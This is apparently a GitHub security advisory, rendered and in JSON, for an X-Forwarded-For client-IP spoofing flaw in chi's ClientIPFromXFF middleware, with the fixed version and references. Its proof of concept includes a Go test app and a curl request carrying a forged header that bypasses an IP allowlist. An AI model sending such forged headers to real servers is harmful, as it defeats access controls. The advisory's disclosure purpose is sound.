GHSA-J6QF-3M9C-VWJ3

Vulnerability from github – Published: 2026-10-23 20:56 – Updated: 2026-10-23 20:56
VLAI
Summary
chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

  1. Send GET /admin directly to the origin with no X-Forwarded-For header.
  2. Observe a 403 Forbidden response and an empty derived client IP.
  3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
  4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
    ip, ok := parseHeaderAddr(v)
    if !ok {
        return true
    }
    if inAnyPrefix(ip, prefixes) {
        return false
    }
    found = ip
    return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
    "fmt"
    "log"
    "net/http"

    "github.com/go-chi/chi/v5"
    "github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
    r := chi.NewRouter()
    r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
    r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
        clientIP := middleware.GetClientIP(r.Context())
        if clientIP != allowedIP {
            http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
            return
        }
        fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
    })

    log.Print("listening on http://127.0.0.1:3001")
    log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.3.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T20:56:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n\tip, ok := parseHeaderAddr(v)\n\tif !ok {\n\t\treturn true\n\t}\n\tif inAnyPrefix(ip, prefixes) {\n\t\treturn false\n\t}\n\tfound = ip\n\treturn true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat \u003e main.go \u003c\u003c\u0027EOF\u0027\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n\tr := chi.NewRouter()\n\tr.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n\tr.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := middleware.GetClientIP(r.Context())\n\t\tif clientIP != allowedIP {\n\t\t\thttp.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n\t})\n\n\tlog.Print(\"listening on http://127.0.0.1:3001\")\n\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H \u0027X-Forwarded-For: 10.0.0.7, 198.51.100.42\u0027 http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.",
  "id": "GHSA-j6qf-3m9c-vwj3",
  "modified": "2026-10-23T20:56:46Z",
  "published": "2026-10-23T20:56:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/pull/1214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-chi/chi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/releases/tag/v5.4.0"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2026-66"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For"
}



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